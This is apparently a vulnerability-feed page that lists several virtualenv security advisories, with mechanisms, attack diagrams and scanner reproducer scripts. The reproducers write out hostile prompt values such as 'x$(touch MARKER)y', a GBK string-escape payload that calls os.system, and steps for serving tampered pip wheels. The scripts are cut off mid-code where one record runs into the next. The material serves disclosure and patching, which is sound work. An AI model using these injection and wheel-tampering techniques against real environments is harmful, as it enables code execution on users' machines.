as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"} owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]} virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"] # control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied subprocess.run([*virtualenv, "--symlink-app-data" Affected package ranges reported by GitHub: virtualenv: >= 21.14.8, < 21.14.10 Action: GitHub lists first patched versions: virtualenv: 21.14.10. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Pip seeding with download omits wheel digest verification https://kevwire.com/record/CVE-2026-113717 virtualenv: Pip seeding with download omits wheel digest verification (Oct 23, 2026). The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification. Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026. CVSS 2.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-cx28-75q4-x26q). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113717&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-cx28-75q4-x26q: https://github.com/advisories/GHSA-cx28-75q4-x26q GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113717&date=2026-10-25 ## Summary The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification. Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Wheel selection by the pip seeder when downloads are enabled. ## Attacker-controlled input The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy. ## Affected code The relevant 21.14.8 source is in [pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py). ## Mechanism With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option. ## Reproduction and evidence The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel; `env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting `BUG`. Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left `PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. [PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with index lookup disabled. ## Attack sequence ```mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: get_wheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile from virtualenv.seed.wheels.embed import get_embed_wheel companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignore_errors=True) os.makedirs(work) # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network) bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}") pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json: json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json) # attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRROR_CODE_RAN" subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirror_wheel = f"{work}/mirror/pip/{bundled.name}" mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}") print(f"{bundled.name}: the mirror serves sha256 {mirror_sha256}") # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") as pip_conf: pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL os.makedirs(f"{work}/home-default") os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"] # control: the default seeder with --download fetches the mirror's wheel and refuses it default_seeder = subprocess.run( [*virtualenv, "--download", f"{work}/env-default"], env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"}, capture_output=True, text=True, ) refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")] print(f"\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}") print("\n".join(refusal)) # trigger: the same command plus --seeder pip pip_seeder = subprocess.run( [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"], Affected package ranges reported by GitHub: virtualenv: < 21.14.9 Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Downloaded wheel selection and caching precede verification https://kevwire.com/record/CVE-2026-113714 virtualenv: Downloaded wheel selection and caching precede verification (Oct 23, 2026). Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache. Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026. CVSS 2.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-494p-63j8-28p3). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113714&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-494p-63j8-28p3: https://github.com/advisories/GHSA-494p-63j8-28p3 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113714&date=2026-10-25 ## Summary Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache. Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Download selection and promotion into the reusable wheel cache. ## Attacker-controlled input A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison. ## Affected code The relevant 21.14.8 source is in [wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py). ## Mechanism `download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash from the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can inject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain there. Later wheel selection does not hash the cached file again. ## Reproduction and evidence The scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case it served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent environment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a forged `Saved ` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded the modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant. The report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`, leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The gap follows the digest check added in #3251, first released in 21.7.12. [PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual archive, and promotes it only after acceptance. ## Attack sequence ```mermaid sequenceDiagram participant I as Configured index participant P as pip download participant C as wheel/house cache participant V as virtualenv digest check participant N as New environment I->>P: modified wheel and forged Saved line P->>C: write modified wheel directly P-->>V: stdout names genuine bundled wheel V->>V: hash genuine wheel and accept V->>C: record modified wheel for reuse C->>N: seed modified pip without rehash Note over P,C: Even a rejected wheel can remain in the cache ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import atexit import hashlib import json import os import shutil import subprocess import sys from pathlib import Path companions = Path("/tmp/repro.d") work = Path("/tmp/forged-saved-line") home = work / "home" app_data = home / ".cache" / "virtualenv" this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json" virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"] as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True} added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py def user_upgrades_seed_wheels_and_creates_env(): # each case starts from an empty app-data shutil.rmtree(app_data, ignore_errors=True) shutil.rmtree(home / "env", ignore_errors=True) upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user) # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True) pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True) # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0 refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None) logged = [] if update_log_of_pip.exists(): # a failed update writes no log logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]] return refusal, logged, pip_version.stdout.splitlines() # set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it shutil.rmtree(work, ignore_errors=True) (home / ".config" / "pip").mkdir(parents=True) shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf") subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True) index_server = subprocess.Popen( [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / " Affected package ranges reported by GitHub: virtualenv: < 21.14.9 Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Xonsh activation literals depend on the script decoding codec https://kevwire.com/record/CVE-2026-113718 virtualenv: Xonsh activation literals depend on the script decoding codec (Oct 23, 2026). Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment. Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators. CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-394h-qwmc-48pf). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-394h-qwmc-48pf: https://github.com/advisories/GHSA-394h-qwmc-48pf GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-113718: https://nvd.nist.gov/vuln/detail/CVE-2026-113718 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-25 ## Summary Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment. ## Affected area Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure through unrelated activators. ## Attacker-controlled input The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script. ## Affected code The relevant 21.14.8 source is in [xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py), [UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py). ## Mechanism The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character. The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal. ## Reproduction and evidence The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path` controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review. [PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to `ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII, decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt. The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix. ## Attack sequence ```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv quote() participant F as activate.xsh bytes participant X as xonsh source A->>V: 中 plus escaped quote and statements V->>F: repr writes UTF-8 中 followed by backslash alt XONSH_ENCODING is UTF-8 F->>X: backslash remains an escape X-->>A: prompt remains data else XONSH_ENCODING is GBK or Big5 F->>X: decoder consumes backslash as trail byte X->>X: quote closes and statements run end Note over V,X: ascii() emits only ASCII bytes and preserves the literal ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import subprocess import sys from pathlib import Path from shutil import rmtree work = Path("/tmp/activate-this-gbk") rmtree(work, ignore_errors=True) work.mkdir() env_dir = work / "venv" marker = work / "MARKER" # set up: a zh_CN.GBK locale, which the image does not ship subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True) utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"} gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")} # attacker: text that a tool relays as --prompt # the payload's " makes repr() delimit with ' and write the prompt's own ' as \' # 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next payload = f'__import__("os").system("touch {marker}")' hostile_prompt = "中" + "';" + payload + "#" # user: creates the environment with the virtualenv command subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True) activate_this = (env_dir / "bin" / "activate_this.py").read_bytes() prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]')) print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}") print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}") assert not marker.exists(), "payload ran at creation time" # trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir] control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True) ran_in_utf8_session = marker.exists() print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}") observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True) ran_in_gbk_session = marker.exists() print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}") # check: the prompt is data and must not run in either session print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK") ``` **`repro.d/ac Affected package ranges reported by GitHub: virtualenv: < 21.14.9 Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Seeded files retain permissions from an older cache https://kevwire.com/record/CVE-2026-113720 virtualenv: Seeded files retain permissions from an older cache (Oct 23, 2026). The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments. Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026. CVSS 4.4 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-fc2g-4w5p-6whm). EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-fc2g-4w5p-6whm: https://github.com/advisories/GHSA-fc2g-4w5p-6whm GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-25 ## Summary The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments. Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Permissions of files copied from app-data into a new environment. ## Attacker-controlled input The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed. ## Affected code The relevant 21.14.8 source is in [copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py). ## Mechanism The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with `shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can receive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts. ## Reproduction and evidence The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask `022`; a later environment had no files writable by another account, and that account could not append to `pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and `bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both histories. An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425) creates copied files under a fixed non-writable-by-others policy further restricted by the current umask. ## Attack sequence ```mermaid sequenceDiagram participant U as Environment owner participant C as Private app-data cache participant E as Later environment participant A as Other local account U->>C: first seed extraction under umask 000 C-->>U: cached pip files have mode 0666 U->>E: create environment under umask 022 C->>E: shutil.copy reapplies mode 0666 A->>E: append code to pip/__init__.py U->>E: run bin/pip --version E-->>U: appended code runs as owner ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import glob import os import shutil import stat import subprocess import sys from pathlib import Path sys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes os.umask(0o022) # for the directories made here as root OWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check # read here, as root: /tmp/repro.d need not be readable by the other user ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text() def run_as_owner(command, home, umask): environ = {"HOME": str(home), "PATH": os.environ["PATH"]} subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True) def mode(path): return stat.filemode(os.stat(path).st_mode) work = Path("/tmp/seed-mode-repro") shutil.rmtree(work, ignore_errors=True) work.mkdir() proofs = work / "proofs" proofs.mkdir() proofs.chmod(0o777) # the other user's line writes the uid it runs as in here writable_by_others, appended_line_ran_as = {}, {} # the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]: # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path home = work / f"{case}-home" home.mkdir(mode=0o700) os.chown(home, OWNER, OWNER) projects = work / f"{case}-projects" projects.mkdir(mode=0o755) os.chown(projects, OWNER, OWNER) # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run) # owner, today env = projects / "env" run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022) (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py") (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py") env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()] writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH) print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022") print(f"{case} cache pip/__init__.py {mode(cached_pip)}") print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}") print(f"{case} e Affected package ranges reported by GitHub: virtualenv: < 21.14.9 Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Bash prompt values can change meaning under older compatibility modes https://kevwire.com/record/CVE-2026-113723 virtualenv: Bash prompt values can change meaning under older compatibility modes (Oct 23, 2026). Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt. Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators. CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-6w3r-xr62-4xcp). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113723&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-6w3r-xr62-4xcp: https://github.com/advisories/GHSA-6w3r-xr62-4xcp GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-113723: https://nvd.nist.gov/vuln/detail/CVE-2026-113723 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113723&date=2026-10-25 ## Summary Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt. ## Affected area Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation. It does not establish exposure through unrelated activators. ## Attacker-controlled input The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated activation script. ## Affected code The relevant 21.14.8 source is in [bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh). ## Mechanism `bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules. Three other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an exported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then runs `touch` on prompt display. Creating the environment does not run the payload. ## Reproduction and evidence The scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate` in interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates `MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates `MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`. The scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those changes cover the usual bash path but leave the three paths above. The proposed change in [#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected. ## Introduced The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from the report; the release confirmed by the maintainer is 21.14.8. ## Attack sequence ```mermaid sequenceDiagram participant A as Prompt supplier participant V as virtualenv participant B as Interactive bash participant D as Child dash A->>V: --prompt x$(touch MARKER)y V->>B: generated bin/activate B->>B: assign escaped prompt to PS1 alt PS1 is not exported B->>D: start sh with its own PS1 D-->>B: marker absent else PS1 is exported B->>D: start sh with inherited PS1 D->>D: expand $(touch MARKER) on prompt draw D-->>B: marker created end ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path work = Path("/tmp/repro-inherited-ps1") shutil.rmtree(work, ignore_errors=True) work.mkdir() marker = work / "MARKER" print("sh is", Path("/bin/sh").resolve()) # attacker: only the text a tool such as tox or hatch relays as --prompt hostile_prompt = f"x$(touch {marker})y" # set up: the environment, made with the virtualenv command subprocess.run( ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash", "--prompt", hostile_prompt, str(work / "env")], check=True, stdout=subprocess.DEVNULL, ) assert not marker.exists(), "creating the environment must not run the prompt" # user: in an interactive bash, source bin/activate, then start sh. # -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns session = Path("/tmp/repro.d/user_session.sh").read_text() interactive_bash = ["bash", "--norc", "--noprofile", "-i"] # control: PS1 set in bash but not exported, so sh does not inherit it control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(control.stderr) ran_in_control = marker.exists() print("CONTROL PS1 not exported: marker created:", ran_in_control) # attack: the same session with the one difference that PS1 is exported attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session, stderr=subprocess.PIPE, text=True, check=True) print(attack.stderr) ran_in_attack = marker.exists() print("OBSERVED PS1 exported: marker created:", ran_in_attack) # check: the prompt text must be drawn, never run, by every shell that draws it print("BUG" if ran_in_attack and not ran_in_control else "OK") ``` **`repro.d/user_session.sh`** ```text . /tmp/repro-inherited-ps1/env/bin/activate sh -i >S: path contains U+2028 and home = /attacker/chosen S->>C: write path inside command value V->>C: read with splitlines() V->>V: parse suffix as separate keys V->>C: rewrite home and include-system-site-packages P->>C: read injected keys on startup C-->>P: sys._home changes and isolation is disabled ``` ## Reproducer files The following files are from the scanner report 